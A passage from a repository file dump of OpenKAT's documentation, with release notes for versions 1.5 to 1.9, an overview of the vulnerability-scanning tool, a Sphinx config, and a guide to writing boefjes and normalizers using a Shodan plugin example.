https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/4938\n* @hasecon made their first contribution in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/4960\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.5.rst",
    "content": "===========\nOpenKAT 1.5\n===========\n\nThe main feature of the 1.5 release of OpenKAT is the ability to scan multiple\norganizations from one OpenKAT instance and manage the data and users for each\nof them. It comes with an API to automatically deploy organizations and users\nfrom an external source.\n\nThis gives you the ability to manage OpenKAT for a large group of organizations\nwhile maintaining the separation of data and users for each of them. It also\nallows you to supply credentials to users within those organizations and to give\nthem access to their own data, make reports etc.\n\nIn addition to this several other features have been added that support this use\ncase, such as the ability to filter and manage and add objects in bulk and add\nscanning and inheritance of scan levels from a higher level. They were requested\nby some of our large scale partners and we will continue working on such\nfeatures in the forthcoming releases.\n\nNew Features\n============\n\n* Most importantly, this is the first version of KAT that offers fully\n  implemented multi-organization support. New organizations can be added in the\n  Rocky admin interface (/admin), after which databases in xtdb and KAT-alogus\n  will be automatically added. Clients can be added for each organization that\n  cannot view data of other organizations\n* Certificates can now be created without having a relation to a website\n* IPAddresses now inherit a scan level from a netblock if that netblock is known\n* NMAP can now scan ip ranges\n* Rocky now offers bulk actions for the deletion of OOIs and giving clearance levels to OOIs\n* Rocky now offers filtering options based on clearance levels and clearance level types\n\nUpgrading\n=========\n\nFor the new multi organization feature to work XTDB needs to be changed to the\nmultinode version that can be found at\nhttps://github.com/dekkers/xtdb-http-multinode.\n\nContainers\n----------\n\nThe container image of the XTDB container can be changed to\n\"ghcr.io/dekkers/xtdb-http-multinode:v1.0.0\". This image will automatically\ndetect that the volume was created by the original XTDB image and migrate\neverything. By the default it will create a new node with the name \"_dev\", but\nthis can be changed using the XTDB_MIGRATION_NODE_NAME environment variable.\n\nThe XTDB_TYPE env setting for the Octopoes container also needs to be changed to\n\"xtdb-multinode\".\n\nDebian packages\n---------------\n\nIf you have previously installed XTDB with the provided setup-xtdb.sh script,\nthen you should first stop XTDB and remove this from the system before\ninstalling the new xtdb-http-multinode Debian package:\n\n.. code-block:: sh\n\n    systemctl stop xtdb@default.service\n    rm -r /usr/lib/systemd/system/xtdb@.service /etc/xtdb /opt/xtdb\n\nThe data in /var/lib/xtdb needs to be moved to specific node directory. If you\nuse \"_dev\" as the code for the current organization (which is the default), you\nhave to do the following:\n\n.. code-block:: sh\n\n    mkdir /var/lib/xtdb/_dev\n    mv /var/lib/xtdb/default_documents /var/lib/xtdb/_dev/documents\n    mv /var/lib/xtdb/default_tx-log /var/lib/xtdb/_dev/tx-log\n    mv /var/lib/xtdb/default_indexes /var/lib/xtdb/_dev/indexes\n\nYou can then download the Debian package from\nhttps://github.com/dekkers/xtdb-http-multinode/releases/tag/v1.0.0 and install\nit using:\n\n.. code-block:: sh\n\n    apt install rocksdb-tools\n    dpkg -i xtdb-http-multinode.deb\n\nIt should start automatically, the log should indicate that the node _dev has\nstarted:\n\n.. code-block:: sh\n\n    journalctl -u xtdb-http-multinode.service\n\nIt will listen on 127.0.0.1 port 3000 by default just like the setup-xtdb.sh did\nbefore, if you changed this you need to change this again in /etc/default/xtdb-http-multinode.\n\nIn /etc/kat/octopoes.conf XTDB_TYPE needs to be changed to \"xtdb-multinode\".\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github <https://github.com/minvws/nl-kat-coordination/releases/tag/v1.5.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.6.rst",
    "content": "===========\nOpenKAT 1.6\n===========\n\nThe main new feature of OpenKAT 1.6 is support for email security with DKIM,\nDMARC and SPF being added to the data model, boefjes, normalizers and bits. This\nrelease also offers a lot of smaller improvements in installation, interface,\nmaintenance and documentation.\n\n * Settings can now be copied from one organisation to another in the\n   KAT-alogus. This has been built in such a way that we can add bulk actions in\n   the near future.\n * Uploaded documents are added to Bytes, hashed and timestamped just like all\n   other raw data, which gives gives you the certainty about the date time of\n   upload and the consistency of the document at a later stage - just like with\n   all data included in Bytes.\n * A new look for OpenKAT is not be visible right away but a lot of changes in\n   both Manon and OpenKat 'manon' for the interface allows you to personalize\n   OpenKAT with ease.\n * The documentation has been revamped and is available at https://docs.openkat.nl.\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github <https://github.com/minvws/nl-kat-coordination/releases/tag/v1.6.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.7.rst",
    "content": "===========\nOpenKAT 1.7\n===========\n\nThis is the first release from the new monorepo where all 7 different\nrepositories that we had before are merged into one repository that contains\neverything. This means that contributions that have new OOIs, new boefjes, new\nbits and new findings now need only one PR instead of several PRs in different\nrepos that need to be merged in the correct order. The way KAT is released and\ndeployed has not changed, we still provide container images and Debian packages\nfor each service.\n\nThere is also a new release of xtdb-http-multinode. The 1.0.4 version changes\nthe JVM options to make the JVM exit on an out of memory error instead of\ncontinuing in a broken state. Upgrading to this version is recommended. The\nDebian package can be found\n`here <https://github.com/dekkers/xtdb-http-multinode/releases/tag/v1.0.4>`__\nand the container image\n`here <https://github.com/dekkers/xtdb-http-multinode/pkgs/container/xtdb-http-multinode/83293625?tag=v1.0.4>`__.\n\nNew Features\n============\n\n * ADR validator boefje and normalizer to check Dutch API Design Rules.\n * Webpage capture boefje for taking screenshots of websites.\n * Normalizer for Burp Suite export.\n * The web interface has a new look and feel.\n * The workflow of enabling a boefje with required settings has been improved.\n * Filtering and sorting on KAT-alogus page has been improved.\n * Raw file upload page has been added.\n * Findings have been changed to be more informative to the end-user.\n * Added the option to bulk set the clearance level to \"inherint\" on the objects\n   page.\n * Mula changed to using PostgreSQL everywhere and SQLite is no longer supported\n   as database.\n\nUpgrading\n=========\n\nIn this release we stopped supporting SQLite as database because there were too\nmany problems to keep supporting it. If you were previously using SQLite you\nneed to switch your database to PostgreSQL.\n\nDebian packages\n---------------\n\nThe Debian package previously defaulted to using the in-memory SQLite for the\nscheduler (mula). This needs to be changed to PostgreSQL. This will also fix\nthat previously with the in-memory SQLite all the tasks were gone if the\nscheduler got restarted.\n\nCreating a database for the scheduler needs to be done in the same as the other\ndatabases were done during installation. First start with generating a random\npassword for PostgreSQL. Insert this password into the connection string for the\nMula DB in `/etc/kat/mula.conf`. For example:\n\n.. code-block:: sh\n\n    SCHEDULER_DB_DSN=postgresql://mula:<password>@localhost/mula_db\n\nCreate a new database and user for Mula:\n\n.. code-block:: sh\n\n    sudo -u postgres createdb mula_db\n    sudo -u postgres createuser mula -P\n    sudo -u postgres psql -c 'GRANT ALL ON DATABASE mula_db TO mula;'\n\nInitialize the Mula database:\n\n.. code-block:: sh\n\n    sudo -u kat update-mula-db\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github <https://github.com/minvws/nl-kat-coordination/releases/tag/v1.7.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.8.rst",
    "content": "===========\nOpenKAT 1.8\n===========\n\nOne of the focus areas of this release is reducing false positives and noise the\nOOIs and findings that are created.\n\nBits have a min clearance level now and a bit won't be run when the OOI doesn't\nhave the specified clearance level. This fixes bits creating DMARC/DKIM/SPF\nfindings on domains that have clearance level of 0 because there aren't any DNS\nrecords.\n\nIn all places where hostname OOIs are created we made sure only hostnames\nwithout the trailing dot are created. This means from now on there will only be\na hostname objects without a dot instead of both one with and without.\n\nSupport for enabling and disabling bits using environment variables has been\nadded and a bit can now be disabled by default. More info can be found :ref:`basics-bits`.\n\nIt is possible to mute a finding with a button on the findings page. This will\ncreate a MuteFinding OOI and results in the finding not being shown anymore in\nthe web interface and reports. A finding can be unmuted by deleting the\nMuteFinding object.\n\nOn the OOI detail page the inherented clearance level chain can be shown. For\nOOIs created by bits the bit and its parameters are also shown on the OOI detail\npage.\n\nNew Features\n============\n\n * The project discovery Nuclei boefje has been added.\n * The Subfinder Boefje has been added.\n * When a new boefje is enabled the boefje will be scheduled faster.\n * An organisation dashboard has been added that is the landing page for an\n   organization.\n * Tags on organizations are visible and can be added and edited.\n * Added organization level finding reports. There is a button on the findings\n   page and a new generate_report management command to generate the report.\n * A new port-common bit that also makes findings for every open common port.\n   This bit is disabled by default.\n * The organization settings page has a new \"Rerun all bits\" button that can be\n   used after upgrading.\n\nBug fixes\n=========\n\n * The SSL Certificate bit checks for wildcards before creating findings.\n * Plugin cover images have been resized to the right size and compressed.\n * DNSSPFMechanismHostname inheritance level is set 0 to prevent discovery from\n   going to far.\n * The port classification bit differentiates between TCP and UDP ports.\n * In a lot of places the error handling has been improved resulting in error\n   messages in the web interface.\n * The scheduler DB was missing an index. This has been added and should fix some\n   performance issues.\n\nUpgrading\n=========\n\nThe usual instructions for upgrading can be followed. For the changes that cause\ncertain object to no longer be created it can take some time before they\ndisappear because the boefjes and normalizers need to run again for that to\nhappen. Objects created by bits might not disappear automatically at all because\nthe bit will not be triggered if the data doesn't change. You can use the \"Rerun\nall bits\" button on the organization settings page to trigger all bits.\n\nDevelopment containers\n----------------------\n\nThe development Docker Compose configuration has been changed from four\nPostgreSQL containers with one database each to a single container with four\ndatabases. In addition, PostgreSQL is upgraded from version 12.8 to version 15.\n\nIf you don't need to keep the data in your development instance you only need to\nupdate your .env. If you do want to keep the data you need to dump the databases\nwith the following commands before you update the git repository (the commands\nneed to run using the old docker-compose.yml):\n\n.. code-block:: sh\n\n    docker-compose exec bytes-db pg_dump -U postgres bytes > bytes.sql\n    docker-compose exec katalogus-db pg_dump -U postgres katalogus > katalogus.sql\n    docker-compose exec rocky-db pg_dump -U postgres rocky > rocky.sql\n    docker-compose exec scheduler-db pg_dump -U postgres scheduler > scheduler.sql\n\nIn .env, you need to change ROCKY_DB_HOST to \"postgres\" and also change\nBYTES_DB_URI, KATALOGUS_DB_URI, SCHEDULER_DB_DSN to use \"postgres\" as hostname\nby changing the \"@{bytes,katalogus,scheduler}-db:5432/\" part to\n\"@postgres:5432/\".\n\nAfter that you can pull in the changes you can start the new PostgreSQL\ncontainer using:\n\n.. code-block:: sh\n\n    docker-compose up -d postgres\n\nAnd load the dumps back in with psql:\n\n.. code-block:: sh\n\n    docker-compose exec -T postgres psql -U postgres bytes < bytes.sql\n    docker-compose exec -T postgres psql -U postgres katalogus < katalogus.sql\n    docker-compose exec -T postgres psql -U postgres rocky < rocky.sql\n    docker-compose exec -T postgres psql -U postgres scheduler < scheduler.sql\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github <https://github.com/minvws/nl-kat-coordination/releases/tag/v1.8.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.9.rst",
    "content": "===========\nOpenKAT 1.9\n===========\n\nBasic support for Config OOIs has been added. Not every organization has the\nsame policy and also different objects might need different treatment and Config\nOOIs will provide an easy way to change the behaviour of bits. The first\nconfigurable parameter is the max age of the HSTS header in the\ncheck_hsts_header bit. More configurable parameters will be added in the future.\n\nPerformance improvements have been made in several areas. Support for\nOpenTelemetry has also been added to get better insight into performance. Work\non more performance improvements is still ongoing.\n\nNew Features\n============\n\n * Improved raw output download in case of boefje/normalizer crashed.\n * Openmetric endpoint has been added to bytes and mula.\n * The version is displayed in the web interface in the footer.\n\nBug fixes\n=========\n\n * Special characters are correctly escaped in Keiko.\n * The release candidate Debian packages have the correct version.\n * Organization names that have namespaces conflicts with URLs are denied.\n\nUpgrading\n=========\n\nThe normal instructions for upgrading :ref:`Debian packages<Upgrading Debian>`\nor upgrading :ref:`containers <Upgrading_Containers>` should be followed.\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github <https://github.com/minvws/nl-kat-coordination/releases/tag/v1.9.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/index.rst",
    "content": "Release notes\n#############\n\n.. toctree::\n   :maxdepth: 1\n   :caption: Releases\n\n   1.21\n   1.20\n   1.19\n   1.18\n   1.17\n   1.16\n   1.15\n   1.14\n   1.13\n   1.12\n   1.11\n   1.10\n   1.9\n   1.8\n   1.7\n   1.6\n   1.5\n"
  },
  {
    "path": "docs/source/about-openkat/what-is-openkat.rst",
    "content": "================\nWhat is OpenKAT?\n================\n\nIntroduction\n============\n\nOpenKAT is a monitoring tool and vulnerability scanner designed to automatically and continuously monitor, record, and analyze the status of information systems. It scans networks, analyzes vulnerabilities, and generates clear, accessible reports. By integrating the most commonly used network tools and scanning software into a modular framework, OpenKAT accesses external databases and combines the information from all these sources into clear reports.\n\n\nWhy was OpenKAT created?\n========================\n\nOpenKAT was created by the Dutch Ministry of Health during the COVID-19 pandemic. New systems and functions were developed at high speed and monitoring was needed. OpenKAT made it possible to automatically monitor multiple organizations at the same time, so vulnerabilities could be found quickly.\n\n\nWhy is OpenKAT useful?\n======================\n\nOpenKAT is useful if you wish to know if there are vulnerabilities and configuration mistakes hiding somewhere. Most security incidents are caused by known vulnerabilities and small errors. OpenKAT finds them before they are found by bad actors.\n\n\nWho is OpenKAT for?\n===================\n\nOpenKAT is built to monitor a larger number of systems, such as the IT systems during the pandemic. It is both for organizations that want to monitor their own systems and organizations which are responsible for monitoring other organizations. For example, Z-CERT, which is responsible for monitoring all healthcare organizations as a CSIRT, or the Dutch Ministry of Health, which monitored all the test providers that wanted to connect to CoronaCheck.\n\nThe nicest playground for OpenKAT is a situation where many systems are active. In the user group around OpenKAT we see larger organizations from the non-profit sector, their service providers, hosting providers, auditors and others involved in information security.\n\n\nWhich problem does OpenKAT solve?\n=================================\nOpenKAT was created as a monitoring tool with automation, flexibility and traceability in mind. Being a modular framework based on a datamodel, it has plugins for datacollection, automatic scanning, businessrules for analysis, external timestamps on all original data and practical reports.\n\n\nFramework\n---------\nThe open structure allows you to modify, tweak and add tools for scanning, storage, analysis and reports. With such flexibility and separation of tasks, the bits almost fall out. It allows for easy adaptation to new developments.\n\n\nPlugins for scanning\n--------------------\nPlugins do the scanning, ranging from a small script to external tools with a wide range of inputs. New threat around the corner? Build your own plugin to catch it, and as all data is stored you might be able to find vulnerable systems right away.\n\n\nExternal timestamps\n-------------------\nAll output from the scans is stored, with its metadata, hashed and timestamped by an external server. This allows you to 'prove' which information was collected, how and when.\n\n\nDatamodel\n---------\nTo combine information from several sources OpenKAT uses an extendable datamodel with objects. An IP address is such an object, and can be found through different tools and through logical relations in the datamodel.\n\n\nAutomatic scanning\n------------------\nOpenKAT will scan for new information, using the logic in the datamodel. The results of the scans spark new actions, just as time passing starts new scans to refresh and check the state of the systems in the OpenKAT database.\n\n\nIndemnity per user and organisation\n-----------------------------------\nThe intensity of a scan can be set in the system by granting it permission for a certain level of intrusion. OpenKAT can be set to a level where it might bring down a system so it needs an “OK” from the user for such steps.\n\n\nFindings and reports\n--------------------\nResults of the analysis are available for easy viewing in the frontend, per PDF or through the API. The findings can be collected into different kinds of reports. These reports can be scheduled, so they will be generated automatically for you.\n\n\nSecurity concept\n================\n\nThe premise behind OpenKAT is that most security incidents are caused by known vulnerabilities and configuration errors. Making mistakes is human, so they cannot be completely prevented. Therefore, the goal is to find known vulnerabilities and configuration errors and fix them as quickly as possible. OpenKAT provides the tools for this. The Ministry of Health in the Netherlands made it publicly available under the EU PL 1.2 licence, to be applied as widely as possible.\n\n\nResponsible disclosure\n======================\n\nOpenKAT scans for vulnerabilities. If you find any, it is important that you deal with them properly. If you come across a vulnerability in a central government system you can report it to the `NCSC <https://www.ncsc.nl/contact/kwetsbaarheid-melden>`_.\n\nMany organizations have their contact information in ``security.txt`` in the root of their domain, so you can reach the right people directly. Not every organization handles it equally professionally, but that's no reason not to want to use that standard yourself.\n\nIf you find any vulnerabilities in the software of OpenKAT itself you can report them by e-mail to: security @ irealisatie.nl (remove the spaces).\n\n\nWhere do I start with OpenKAT?\n==============================\n\nStart by reading the :doc:`/user-manual/index`, which explains how OpenKAT works. After that, if you want to read more about how the system works on a technical level and what the main principles are, check the :doc:`/developer-documentation/index`.\n\nThe documentation gives an impression, but trying OpenKAT yourself is the best way to find out how it works. In :doc:`/installation-and-deployment/index`, you can find all the information about installing OpenKAT on your system.\n\nThe easiest way to get to know the system is a local installation. If you don't have a debian or ubuntu machine (yet), try the Gitpod test environment. :doc:`/installation-and-deployment/install` has a comprehensive roadmap for creating a local installation. In addition to the documentation, read `the README from the general repository <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination>`_.\n\n\nWhere is the software located?\n==============================\n\nOpenKAT consists of separate modules that each perform a specific task. All modules are located in the `NL-KAT-Coordination <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination>`_ repository. The :doc:`../developer-documentation/basic-principles/modules` section of the documentation goes into detail on each of these modules.\n\n\nWhat are the plans for the future?\n==================================\n\nOpenKAT was created during the pandemic. Publishing the source code is one way to give the software built during this period a longer life. With OpenKAT, the Ministry of Health is contributing to the `National Cybersecurity Strategy <https://www.rijksoverheid.nl/actueel/nieuws/2022/10/10/kabinet-presenteert-nieuwe-cybersecuritystrategie>`_ (Dutch) and supports the continued development of the system.\n\nSince the source code was published, 'OpenKAT days' have been organized regularly, the community around OpenKAT has grown, and developers from various other organizations are working on modules for the system. It is the first government project to be developed in this way. If you also want to help, contact the team at meedoen@openkat.nl.\n\nThe long-term goal is for OpenKAT to play a permanent role in information security in healthcare and in the Netherlands as a whole. The system itself provides a good basis for this and its modular structure makes it easily adaptable to a specific context. Thanks to the EU PL 1.2 license, such contributions will be made available to all users as much as possible.\n"
  },
  {
    "path": "docs/source/conf.py",
    "content": "# Configuration file for the Sphinx documentation builder.\n#\n# For the full list of built-in configuration values, see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\nimport subprocess\n\nbranch = subprocess.check_output([\"git\", \"rev-parse\", \"--abbrev-ref\", \"HEAD\"]).decode(\"utf-8\")\ncommit_date = subprocess.check_output([\"git\", \"log\", \"--format=#%h %cs\", \"-n 1\"]).decode(\"utf-8\")\n\n# -- Project information -----------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information\n\nproject = \"OpenKAT\"\ncopyright = \"Ministerie van Volksgezondheid, Welzijn en Sport (European Union Public License 1.2)\"\nauthor = \"The OpenKAT team\"\nversion = branch + commit_date\nrelease = version\n\n# -- General configuration ---------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration\n\nextensions = [\n    \"sphinx.ext.napoleon\",\n    \"sphinx.ext.viewcode\",\n    \"sphinx.ext.githubpages\",\n    \"sphinx.ext.autosectionlabel\",\n    \"sphinx.ext.todo\",\n    \"sphinx.ext.autodoc\",\n    \"sphinx_rtd_theme\",\n    \"myst_parser\",\n    \"sphinxcontrib.mermaid\",\n    \"sphinxcontrib.autodoc_pydantic\",\n]\n\nmyst_enable_extensions = [\"tasklist\"]\n\ntemplates_path = [\"_templates\"]\nexclude_patterns = []\n\n# -- Options for HTML output -------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output\n\nhtml_theme = \"sphinx_rtd_theme\"\n\nhtml_logo = \"_static/keiko-hero.jpg\"\nhtml_favicon = \"_static/favicon.svg\"\n\nhtml_theme_options = {\"collapse_navigation\": False, \"style_nav_header_background\": \"#ca005d\"}\n\nhtml_context = {\n    \"display_github\": True,\n    \"github_user\": \"minvws\",\n    \"github_repo\": \"nl-kat-coordination\",\n    \"github_version\": \"main\",\n    \"conf_py_path\": \"/docs/source/\",\n}\n\nhtml_static_path = [\"_static\"]\nhtml_css_files = [\"openkat.css\"]\n\nmermaid_use_local = \"mermaid.min.js\"\nd3_use_local = \"d3.min.js\"\n\nautosectionlabel_prefix_document = True\n\nsuppress_warnings = [\n    f\"autosectionlabel.installation-and-deployment/environment-settings/{document}\"\n    for document in (\"boefjes\", \"bytes\", \"mula\", \"octopoes\")\n] + [\"autosectionlabel.developer-documentation/octopoes-models\"]\n"
  },
  {
    "path": "docs/source/developer-documentation/basic-principles/bits.rst",
    "content": ".. _basics-bits:\n\nBits\n====\n\nBits are businessrules that assess objects. These can be disabled or enabled using environment variables. The parameters of a Bit can be configured using config objects, which are explained in detail in :ref:`make-your-own-bits`.\n\nAlmost all bits are enabled by default and be disabled by adding the bit to `BITS_DISABLED`. The disabled bits can be enabled using `BITS_ENABLED`. For example:\n\n.. code-block:: sh\n\n    BITS_ENABLED='[\"bit1\",\"bit2\"]'\n    BITS_DISABLED='[\"bit3\"]'\n\n\nNote that if you enable a bit that was previously enabled the bit won't be automatically run for every object it should have run on, but only when it is triggered again after a new scan or other bit that has run. When a bit that was previously enabled is disabled the resulting objects from that bit will also not be automatically removed. Only when the bit triggers instead of running the bit the resulting OOIs of the previous run will be deleted. This also means that if the bit isn't triggered the old objects will not be removed.\n"
  },
  {
    "path": "docs/source/developer-documentation/basic-principles/boefjes-whiskers-bits.rst",
    "content": ".. _make-your-own-bits:\n\n===============================================\nPlugins for OpenKAT: boefjes, whiskers and bits\n===============================================\n\nOpenKAT is modular and can be easily extended. This guide provides a first step for the development of new plugins: boefjes that scan, whiskers that collect objects, and bits that contain businessrules.\n\nOpenKAT comes with a KATalog of boefjes, which can be viewed through the front end of the system. The premise is that all information is processed and stored in the smallest unit, ensuring the modular nature of OpenKAT.\n\nOpenKAT can access multiple KATalogs, so it is possible to create your own overview of boefjes in addition to the official KATalog. This is of interest to organizations that use boefjes for specific purposes or with software that has a different licensing model.\n\nThis guide explains how the plugins work and how they are created, and gives an overview of which plugins already exist. It also explains the configuration options available.\n\nWhat types of plugins are available?\n====================================\n\nThere are three types of plugins, deployed by OpenKAT to collect information, translate it into objects for the data model and then analyze it. Boefjes gather facts, Whiskers structure the information for the data model and Bits determine what you want to think about it; they are the business rules. Each action is cut into the smallest possible pieces.\n\n- Boefjes gather factual information, such as by calling an external scanning tool like nmap or using a database like Shodan.\n\n- Whiskers analyze the information and turn it into objects for the data model in Octopoes.\n\n- Bits contain the business rules that do the analysis on the objects.\n\nBoefjes and Whiskers are linked together through the mime-type that the boefje passes along to the information. For each mime-type, multiple Boefjes and Whiskers are possible, each with its own specialization. Thus, the data from a boefje can be delivered to multiple whiskers to extract a different object each time. Bits are linked to objects and assess the objects in the data model. Some bits are configurable with a specific configuration stored in the graph.\n\nHow does it work?\n=================\n\nA hostname given as an object to OpenKAT, for example, is used as input to a search by the matching boefjes. Based on the data model, logically related objects are searched to get a complete picture.\n\nThus, OpenKAT is like a snowball rolling through the network based on the data model. The logical connections between objects point the way, and OpenKAT keeps looking for new boefjes until the model is complete.\n\nThe new objects in the data model are evaluated by Bits, the business rules. This produces findings, which are added as objects. For example, the hostname includes a dns configuration, which must meet certain requirements. If it goes outside the established parameters it leads to a finding.\n\nWhere to start?\n===============\n\nThe first question is what information you need. If you know this, there are a number of options, which determine what is best to do:\n\n- the information is already present in the data model -> create a businessrule (bit)\n- the information is present in the output of an existing boefje -> create a normalizer (whiskers)\n- the information is not yet available -> create a boefje, modify the data model and create a normalizer\n\nIf you want to add factual information, use a boefje. Want to add an opinion or analysis, use a bit.\n\nOpenKAT assumes that you collect and process all information in the smallest possible units so that they can contribute back to other combinations and results. This is how you maintain the modular nature of the package.\n\nTo make a finding about a CVE to a software version, you need multiple objects: the finding of the software, the version, the CVE. That combination then leads to the object of the finding.\n\n\nExisting boefjes\n================\n\nThe existing boefjes can be viewed via the KATalog in OpenKAT and are on `GitHub in the boefjes repository. <https://github.com/minvws/nl-kat-boefjes/tree/main/boefjes>`_\n\nObject-types, classes and objects.\n----------------------------------\n\nWhen we talk about object-types, we mean things like IPAddressV4. These have corresponding Python classes that are all derived from the OOI base class.  These classes are defined in the Octopoes models directory.\n\nThey are used everywhere, both in code and as strings in json definition files.\n\nWhen we talk about objects, we usually mean instance of such a class, or a 'record' in the database.\n\nExample: the boefje for shodan\n------------------------------\n\nThe boefje calling Shodan gives a good first impression of its capabilities. The boefje includes the following files.\n\n- __init.py__, which remains empty\n- boefje.json, containing the normalizers and object-types in the data model\n- cover.jpg, with a matching cat picture for the KATalog\n- description.md, simple documentation of the boefje\n- main.py, the actual boefje\n- normalize.py, the normalizer (whiskers)\n- normalizer.json, which accepts and supplies the normalizer\n- requirements.txt, with the requirements for this boefje\n- schema.json, settings for the web interface formatted as JSON Schema\n\nboefje.json\n***********\n\nboefje.json is the definition of the boefje, including information about its scan level and the object-types it consumes.\n\nAn example:\n\n.. code-block:: json\n\n    {\n        \"id\": \"shodan\",\n        \"name\": \"Shodan\",\n        \"description\": \"Use Shodan to find open ports with vulnerabilities that are found on that port. Requires an API key.\",\n        \"consumes\": [\n            \"IPAddressV4\",\n            \"IPAddressV6\"\n        ],\n        \"oci_image\": \"ghcr.io/minvws/openkat/generic:latest\",\n        \"oci_arguments\": [\n            \"kat_shodan.main\"\n        ],\n        \"scan_level\": 1\n    }\n\nThis boefje consumes IP addresses and produces findings about the open ports, supplemented by the information about these ports.\n\n\nThis boefje uses an OCI image from our container registry: *ghcr.io/minvws/openkat/generic:latest* to run the code.\nSee :doc:`/developer-documentation/boefjes-runner` for a specification for the OCI images OpenKAT can run.\nIn this case, Shodan has been bundled in our generic image that contains several boefjes. The ``oci_arguments`` field\nmakes sure we target Shodan. For the ``dns-records`` boefje, this field reads ``kat_dns.main``.\n\nschema.json\n***********\n\nTo allow the user to pass information to a boefje runtime, add a schema.json file to the folder where your boefje is located.\nThis can be used, for example, to add an API key that the script requires.\nIt must conform to the https://json-schema.org/ standard, see for example the schema.json for Shodan:\n\n.. code-block:: json\n\n {\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"SHODAN_API\": {\n      \"title\": \"SHODAN_API\",\n      \"maxLength\": 128,\n      \"type\": \"string\",\n      \"description\": \"A Shodan API key (see https://developer.shodan.io/api/requirements).\"\n    }\n  },\n  \"required\": [\n    \"SHODAN_API\"\n  ],\n  \"secret\": [\n    \"SHODAN_API\"\n  ]\n }\n\nThis JSON defines which additional environment variables can be set for the boefje.\nThere are two ways to do this.\nFirstly, using the Shodan schema as an example, you could set the ``BOEFJE_SHODAN_API`` environment variable in the boefje runtime.\nPrepending the key with ``BOEFJE_`` provides an extra safeguard.\nNote that setting an environment variable means this configuration is applied to _all_ organisations.\nSecondly, if you want to avoid setting environment variables or configure it for just one organisation,\nit is also possible to set the API key through the KAT-alogus.\nNavigate to the boefje detail page of Shodan to find the schema as a form.\nThese values take precedence over the environment variables.\nThis is also a way to test whether the schema is properly understood for your boefje.\nIf encryption has been set up for the KATalogus, all keys provided through this form are stored encrypted in the database.\n\nAlthough the Shodan boefje defines an API key, the schema could contain anything your boefje needs.\nHowever, OpenKAT currently only officially supports \"string\" and \"integer\" properties that are one level deep.\nBecause keys may be passed through environment variables,\nschema validation does not happen right away when settings are added or boefjes enabled.\nSchema validation happens right before spawning a boefje, meaning your tasks will fail if is missing a required variable.\n\nmain.py\n*******\n\nThe boefje itself imports the shodan api module, assigns an IP address to it and accepts the output.\nThis output goes to Bytes and is analyzed by one (or more) normalizers.\nThe link between the normalizer and the byte is made via the mime-types of the output, which you can provide in the ``set`` below in the return statement.\nBy default, OpenKAT adds a mime-type of the form ``boefje/{boefje_id}`` to the output of all boefjes, so if your\nnormalizer only needs to pare output of the shodan boefje, you do not have to provide your own mime-type.\n\nThe code block below also contains a check, to prevent you from asking for non-public IP addresses.\n\n.. code-block:: python\n\n    import json\n    import logging\n    from typing import Tuple, Union, List\n\n    import shodan\n\n    from os import getenv\n    from ipaddress import ip_address\n\n\n    def run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n        api = shodan.Shodan(getenv(\"SHODAN_API\"))\n        input_ = boefje_meta[\"arguments\"][\"input\"]\n        ip = input_[\"address\"]\n        results = {}\n\n        if ip_address(ip).is_private:\n            logging.info(\"Private IP requested, I will not forward this to Shodan.\")\n        else:\n            try:\n                results = api.host(ip)\n            except shodan.APIError as e:\n                if e.args[0] != \"No information available for that IP.\":\n                    raise\n                logging.info(e)\n\n        return [(set(), json.dumps(results))]\n\nNormalizers\n-----------\n\nThe normalizer imports the raw information, extracts the objects from it and gives them to Octopoes. They consist of the following files:\n\n- __init__.py\n- normalize.py\n- normalizer.json\n\nnormalizer.json\n***************\n\nThe normalizers translate the output of a boefje into objects that fit the data model.\nEach normalizer defines what input it accepts and what object-types it provides.\nIn the case of the Shodan normalizer,\nit involves the entire output of the Shodan boefje (created based on IP address),\nwhere findings and ports come out. This is defined by setting the ``consumes`` to the mime-type unique to the Shodan\nboefje as defined above: ``boefje/shodan``.\nThe `normalizer.json` defines these:\n\n.. code-block:: json\n\n    {\n      \"id\": \"kat_shodan_normalize\",\n      \"name\": \"Shodan\",\n      \"description\": \"Parses Shodan data into (CVE) findings and ports.\",\n      \"consumes\": [\n        \"boefje/shodan\"\n      ],\n      \"produces\": [\n        \"Finding\",\n        \"IPPort\",\n        \"CVEFindingType\"\n      ]\n    }\n\nnormalize.py\n************\n\nThe file `normalize.py` contains the actual normalizer: Its only job is to parse raw data and create,\nfill and yield actual objects of interest (OOIs), such as ``IPPort`` and ``Finding``.\n\n\n.. code-block:: python\n\n import json\n from typing import Iterable\n\n from octopoes.models import OOI, Reference\n from octopoes.models.ooi.findings import CVEFindingType, Finding\n from octopoes.models.ooi.network import IPPort, Protocol, PortState\n\n from boefjes.normalizer_models import NormalizerOutput\n\n def run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    ooi = Reference.from_str(input_ooi[\"primary_key\"])\n\n    for scan in results[\"data\"]:\n        port_nr = scan[\"port\"]\n        transport = scan[\"transport\"]\n\n        ip_port = IPPort(\n            address=ooi,\n            protocol=Protocol(transport),\n            port=int(port_nr),\n            state=PortState(\"open\"),\n        )\n        yield ip_port\n\n        if \"vulns\" in scan:\n            for cve in scan[\"vulns\"].keys():\n                ft = CVEFindingType(id=cve)\n                f = Finding(finding_type=ft.reference, ooi=ip_port.reference)\n                yield ft\n                yield 